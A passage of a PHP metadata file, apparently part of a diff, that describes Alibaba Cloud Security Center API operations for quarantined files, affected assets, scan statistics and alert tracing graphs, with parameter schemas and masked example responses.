.'- **false**：关', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RegionId' => [ + 'description' => '集群所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c870ec78ecbcb41d2a35c679823ef****'."\n", + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"ClusterInfo\\": {\\n \\"InstanceCount\\": 10,\\n \\"ClusterType\\": \\"kubernetes\\",\\n \\"State\\": \\"Available\\",\\n \\"CreateTime\\": 1662038134000,\\n \\"ClusterName\\": \\"testackpro\\",\\n \\"CurrentVersion\\": \\"1.22.10-aliyun.1\\",\\n \\"TargetResult\\": true,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ClusterId\\": \\"c870ec78ecbcb41d2a35c679823ef****\\\\n\\"\\n }\\n}","type":"json"}]', + 'title' => '根据集群编号查询集群信息', + ], + 'DescribeQuaraFileDownloadInfo' => [ + 'summary' => '查询安全告警隔离文件的下载信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92168', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'QuaraFileId', + 'in' => 'query', + 'schema' => [ + 'description' => '隔离文件ID。'."\n" + ."\n" + .'> 如果不输入该参数，调用RollbackSuspEventQuaraFile接口不会取消对文件隔离箱中文件的隔离，即调用该接口不生效。调用[DescribeSuspEventQuaraFiles](~~DescribeSuspEventQuaraFiles~~)接口可获取隔离文件ID（Id参数的值）。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产唯一标识。', + 'type' => 'string', + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'QuaraFileId' => [ + 'description' => '隔离文件ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '123', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '29874225-EAAC-5415-8501-32DD20FXXXXX', + ], + 'DownloadUrl' => [ + 'description' => '下载链接。有效时间5分钟。', + 'type' => 'string', + 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', + ], + 'Path' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => '/etc/test', + ], + 'Md5' => [ + 'description' => '文件MD5值。', + 'type' => 'string', + 'example' => 'bb62ef1311bc564377a0378d3axxxxxx', + ], + 'Tag' => [ + 'description' => '告警记录标签。', + 'type' => 'string', + 'example' => '6d4ff40a22b15c86adecf2aa48xxxxx', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Uuid\\": \\"4fe8e1cd-3c37-4851-b9de-124da32c****\\",\\n \\"QuaraFileId\\": 123,\\n \\"RequestId\\": \\"29874225-EAAC-5415-8501-32DD20FXXXXX\\",\\n \\"DownloadUrl\\": \\"https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx\\",\\n \\"Path\\": \\"/etc/test\\",\\n \\"Md5\\": \\"bb62ef1311bc564377a0378d3axxxxxx\\",\\n \\"Tag\\": \\"6d4ff40a22b15c86adecf2aa48xxxxx\\"\\n}","type":"json"}]', + 'title' => '查询隔离文件下载链接', + ], + 'DescribeAffectedAssets' => [ + 'summary' => '病毒防御检查结果中，查询受影响的用户资产清单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，pagesize参数值为空时，将默认返回20条数据。'."\n" + .'>建议pagesize取值不要为空。', + 'type' => 'string', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Current', + 'in' => 'query', + 'schema' => [ + 'description' => '当前页。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '紧急程度。多个采用英文半角逗号隔开，取值：'."\n" + .'- serious：紧急'."\n" + .'- suspicious：可疑'."\n" + .'- remind：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious,suspicious,remind', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42XXXXXXXX', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'AssetList' => [ + 'description' => '查询到的服务器资产信息。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的服务器资产信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器唯一标识。', + 'type' => 'string', + 'example' => '947d7514-258a-4b47-9dde-9dxxxxxxxxxx', + ], + 'InternetIp' => [ + 'description' => '服务器公网ip。', + 'type' => 'string', + 'example' => '10.10.XX.XX', + ], + 'RiskNum' => [ + 'description' => '服务器存在的病毒检测风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InstanceName' => [ + 'description' => '服务器实例名称。', + 'type' => 'string', + 'example' => '11', + ], + 'InstanceId' => [ + 'description' => '服务器实例id。', + 'type' => 'string', + 'example' => '11', + ], + 'IntranetIp' => [ + 'description' => '服务器私网ip。', + 'type' => 'string', + 'example' => '172.0.XX.XX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42XXXXXXXX\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10\\n },\\n \\"AssetList\\": [\\n {\\n \\"Uuid\\": \\"947d7514-258a-4b47-9dde-9dxxxxxxxxxx\\",\\n \\"InternetIp\\": \\"10.10.XX.XX\\",\\n \\"RiskNum\\": 1,\\n \\"InstanceName\\": \\"11\\",\\n \\"InstanceId\\": \\"11\\",\\n \\"IntranetIp\\": \\"172.0.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询受影响的资产', + ], + 'DescribeEventOnStage' => [ + 'summary' => '查询威胁检测支持的平台。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92071', + 'abilityTreeNodes' => [ + 'FEATUREsasAFG0OH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E332241XXXXX', + ], + 'SecurityEventStageResponse' => [ + 'description' => '威胁检测支持的平台。', + 'type' => 'object', + 'properties' => [ + 'SecurityEventOnStag' => [ + 'description' => '威胁检测支持的平台。'."\n" + ."\n" + .'- **container**: 容器'."\n" + .'- **linux**: linux'."\n" + .'- **windows**: windows', + 'type' => 'object', + 'enumValueTitles' => [ + 'container' => '容器', + 'linux' => 'linux', + 'windows' => 'windows', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E332241XXXXX\\",\\n \\"SecurityEventStageResponse\\": {\\n \\"SecurityEventOnStag\\": {\\n \\"test\\": \\"test\\",\\n \\"test2\\": 1\\n }\\n }\\n}","type":"json"}]', + 'title' => '查询威胁检测支持的平台', + ], + 'DescribeScanTaskStatistics' => [ + 'summary' => '查询病毒检测的任务统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的病毒检测告警事件处理的紧急程度，多个紧急程度之间使用半角逗号（,）分隔，紧急程度依次递减。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious,suspicious,remind', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalTaskNum' => [ + 'description' => '总任务数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11', + ], + 'UserNum' => [ + 'description' => '用户的风险数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '765EDBDE-1686-5DBA-B76F-2E0XXXXXXX', + ], + 'DealedRiskNum' => [ + 'description' => '用户已处理的风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'PersonalTaskNum' => [ + 'description' => '用户的总任务数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalTaskNum\\": 11,\\n \\"UserNum\\": 11,\\n \\"RequestId\\": \\"765EDBDE-1686-5DBA-B76F-2E0XXXXXXX\\",\\n \\"DealedRiskNum\\": 11,\\n \\"PersonalTaskNum\\": 11\\n}","type":"json"}]', + 'title' => '查询扫描任务统计数', + ], + 'DescribeSuspEventUserSetting' => [ + 'summary' => '获取异常事件用户配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92216', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址，用户发起请求时无须主动填写。', + 'type' => 'string', + 'required' => false, + 'example' => '127.0.XX.XX', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => 'Id，用户发起请求时无须主动填写。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6XXXXX', + ], + 'LevelsOn' => [ + 'description' => '告警通知的告警级别。取值：'."\n" + .'- **remind**：提醒'."\n" + .'- **suspicious**：可疑'."\n" + .'- **serious**：紧急', + 'type' => 'array', + 'items' => [ + 'description' => '待处理告警参与统计的告警级别。取值：'."\n" + .'- **remind**：提醒'."\n" + .'- **suspicious**：可疑'."\n" + .'- **serious**：紧急', + 'type' => 'string', + 'example' => 'suspicious,serious,remind', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6XXXXX\\",\\n \\"LevelsOn\\": [\\n \\"suspicious,serious,remind\\"\\n ]\\n}","type":"json"}]', + 'title' => '获取异常事件用户配置', + ], + 'DescribeTraceInfoNode' => [ + 'summary' => '查询溯源节点详情信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '127.0.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'VertexId', + 'in' => 'query', + 'schema' => [ + 'description' => '顶点 Id。', + 'type' => 'string', + 'required' => true, + 'example' => '03da4e2350a3eb50cd25a18cexxxxxxx', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '顶点类型，通过 [DescribeTraceInfoDetail](~~DescribeTraceInfoDetail~~)获取。', + 'type' => 'string', + 'required' => true, + 'example' => 'SAS_ASSET', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'description' => '事件名称。'."\n" + ."\n" + .'>详细信息请参见[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'WEBSHELL', + ], + ], + [ + 'name' => 'IncidentTime', + 'in' => 'query', + 'schema' => [ + 'description' => '首次发现时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1635978934000', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器uuid。通过 [DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '6f346617-eef9-45e6-b6d1-946xxxxxxxx', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62DXXXXXXXX', + ], + 'Node' => [ + 'description' => '溯源节点详情信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '溯源节点类型。', + 'type' => 'string', + 'example' => 'Alert', + ], + 'Name' => [ + 'description' => '溯源节点名称。', + 'type' => 'string', + 'example' => 'login', + ], + 'PropertyList' => [ + 'description' => '溯源节点详细属性。', + 'type' => 'array', + 'items' => [ + 'description' => '溯源节点详细属性。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '属性名称。', + 'type' => 'string', + 'example' => 'Incident', + ], + 'Value' => [ + 'description' => '属性值。', + 'type' => 'string', + 'example' => 'Alert', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62DXXXXXXXX\\",\\n \\"Node\\": {\\n \\"Type\\": \\"Alert\\",\\n \\"Name\\": \\"login\\",\\n \\"PropertyList\\": [\\n {\\n \\"Name\\": \\"Incident\\",\\n \\"Value\\": \\"Alert\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询溯源节点信息', + ], + 'DescribeTraceInfoDetail' => [ + 'summary' => '查询安全告警溯源信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '127.0.0.1', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'VertexId', + 'in' => 'query', + 'schema' => [ + 'description' => '顶点ID，可通过接口 [DescribeSuspEvents](~~DescribeSuspEvents~~) 返回值AlarmUniqueInfo获取。', + 'type' => 'string', + 'required' => true, + 'example' => 'cce1d28dxxxxxxxxxxxxxxxx', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '1627f2d7-aaa2-4ed1-b07a-xxxxxxxxxxxxxx', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '顶点类型，告警固定为**SAS_INCIDENT**。', + 'type' => 'string', + 'required' => true, + 'example' => 'SAS_INCIDENT', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas', + ], + ], + [ + 'name' => 'IncidentTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1670555392000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-XXXXXXXXX', + ], + 'TraceInfoDetail' => [ + 'description' => '溯源图的详情。', + 'type' => 'object', + 'properties' => [ + 'EdgeList' => [ + 'description' => '溯源图中的边信息。', + 'type' => 'array', + 'items' => [ + 'description' => '溯源图中的边信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '溯源图中边的类型。', + 'type' => 'string', + 'example' => 'trigger_file_alert', + ], + 'Time' => [ + 'description' => '时间点。', + 'type' => 'string', + 'example' => '2022-12-21 10:24:42', + ], + 'StartId' => [ + 'description' => '溯源图中边的起始点ID。', + 'type' => 'string', + 'example' => '02b4bf933c8e3bb8b9465eee502xxxxx', + ], + 'Count' => [ + 'description' => '次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'EndId' => [ + 'description' => '溯源图中边终点ID。', + 'type' => 'string', + 'example' => 'a1d1fa39e5345dcef3f9712172cxxxxx', + ], + ], + ], + ], + 'VertexList' => [ + 'description' => '溯源图中所有顶点的信息。', + 'type' => 'array', + 'items' => [ + 'description' => '溯源图中顶点的信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '顶点代表实体的类型。', + 'type' => 'string', + 'example' => 'file_path', + ], + 'Time' => [ + 'description' => '时间点。', + 'type' => 'string', + 'example' => '2022-12-21 10:24:42', + ], + 'Name' => [ + 'description' => '顶点代表实体的名称。', + 'type' => 'string', + 'example' => '/usr/local/tomcat', + ], + 'Id' => [ + 'description' => '顶点ID。', + 'type' => 'string', + 'example' => 'a1d1fa39e5345dcef3f9712172xxxxxx', + ], + 'Count' => [ + 'description' => '次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NeighborList' => [ + 'description' => '邻居节点的信息。', + 'type' => 'array', + 'items' => [ + 'description' => '邻居节点的信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '邻居节点类型，固定为 **alert**。', + 'type' => 'string', + 'example' => 'alert', + ], + 'HasMore' => [ + 'description' => '是否还有下一页。', + 'type' => 'boolean', + 'example' => 'False', + ], + 'Count' => [ + 'description' => '邻居节点数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'EntityTypeList' => [ + 'description' => '顶点类型元数据配置信息。', + 'type' => 'array', + 'items' => [ + 'description' => '顶点类型元数据配置记录。', + 'type' => 'object', + 'properties' => [ + 'DisplayColor' => [ + 'description' => '顶点渲染颜色。', + 'type' => 'string', + 'example' => '#fff', + ], + 'DbId' => [ + 'description' => '已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'Deprecated', + ], + 'DisplayTemplate' => [ + 'description' => '已废弃。', + 'type' => 'string', + 'example' => '[{"name":"${logtime}","value":"$!{time}"}]', + ], + 'DisplayIcon' => [ + 'description' => '顶点的图标样式。', + 'type' => 'string', + 'example' => 'https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png', + ], + 'Limit' => [ + 'description' => '已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'Deprecated', + ], + 'GmtCreate' => [ + 'description' => '创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2022-10-09T11:47Z', + ], + 'Offset' => [ + 'description' => '已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'Deprecated', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => '*', + ], + 'Name' => [ + 'description' => '顶点类型名称。', + 'type' => 'string', + 'example' => 'Alert', + ], + 'GmtModified' => [ + 'description' => '最新修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2022-10-09T11:47Z', + ], + 'Id' => [ + 'description' => '顶点类型记录ID。', + 'type' => 'string', + 'example' => 'Alert', + ], + ], + ], + ], + 'RelationTypeList' => [ + 'description' => '边类型元数据配置信息。', + 'type' => 'array', + 'items' => [ + 'description' => '边类型元数据配置记录。', + 'type' => 'object', + 'properties' => [ + 'ShowType' => [ + 'description' => '已废弃。', + 'type' => 'string', + 'example' => 'Deprecated', + ], + 'DisplayColor' => [ + 'description' => '边的渲染颜色。', + 'type' => 'string', + 'example' => '#fff', + ], + 'Name' => [ + 'description' => '边类型的名称。', + 'type' => 'string', + 'example' => 'file', + ], + 'Directed' => [ + 'description' => '是否为有向边。'."\n" + ."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RelationTypeId' => [ + 'description' => '边类型ID。', + 'type' => 'string', + 'example' => 'netflow_to_process', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-XXXXXXXXX\\",\\n \\"TraceInfoDetail\\": {\\n \\"EdgeList\\": [\\n {\\n \\"Type\\": \\"trigger_file_alert\\",\\n \\"Time\\": \\"2022-12-21 10:24:42\\",\\n \\"StartId\\": \\"02b4bf933c8e3bb8b9465eee502xxxxx\\",\\n \\"Count\\": 1,\\n \\"EndId\\": \\"a1d1fa39e5345dcef3f9712172cxxxxx\\"\\n }\\n ],\\n \\"VertexList\\": [\\n {\\n \\"Type\\": \\"file_path\\",\\n \\"Time\\": \\"2022-12-21 10:24:42\\",\\n \\"Name\\": \\"/usr/local/tomcat\\",\\n \\"Id\\": \\"a1d1fa39e5345dcef3f9712172xxxxxx\\",\\n \\"Count\\": 1,\\n \\"NeighborList\\": [\\n {\\n \\"Type\\": \\"alert\\",\\n \\"HasMore\\": true,\\n \\"Count\\": 1\\n }\\n ]\\n }\\n ],\\n \\"EntityTypeList\\": [\\n {\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"DbId\\": 0,\\n \\"DisplayTemplate\\": \\"[{\\\\\\"name\\\\\\":\\\\\\"${logtime}\\\\\\",\\\\\\"value\\\\\\":\\\\\\"$!{time}\\\\\\"}]\\",\\n \\"DisplayIcon\\": \\"https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png\\",\\n \\"Limit\\": 0,\\n \\"GmtCreate\\": 0,\\n \\"Offset\\": 0,\\n \\"Namespace\\": \\"*\\",\\n \\"Name\\": \\"Alert\\",\\n \\"GmtModified\\": 0,\\n \\"Id\\": \\"Alert\\"\\n }\\n ],\\n \\"RelationTypeList\\": [\\n {\\n \\"ShowType\\": \\"Deprecated\\",\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"Name\\": \\"file\\",\\n \\"Directed\\": 1,\\n \\"RelationTypeId\\": \\"netflow_to_process\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询溯源信息', + ], + 'DescribeEventLevelCount' => [ + 'summary' => '根据等级统计告警事件的总数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '157267', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c7e3c5b420a7947c2933303144688****', + ], + ], + [ + 'name' => 'ContainerIds', + 'in' => 'query', + 'schema' => [ + 'description' => '容器id。', + 'type' => 'string', + 'required' => false, + 'example' => 'xxxxxx30389a10c28f6d38f2398f0dcexxxxxxx922b9e8290dc7c3019d4a8,48b87f2c0662e334820f436cb9133f1ae4e053d39b6fad42xxxxxxxxxx', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：实例ID'."\n" + .'- **appName**：应用名'."\n" + .'- **clusterId**：集群ID'."\n" + .'- **regionId**：地域'."\n" + .'- **nodeName**：节点名'."\n" + .'- **namespace**：命名空间'."\n" 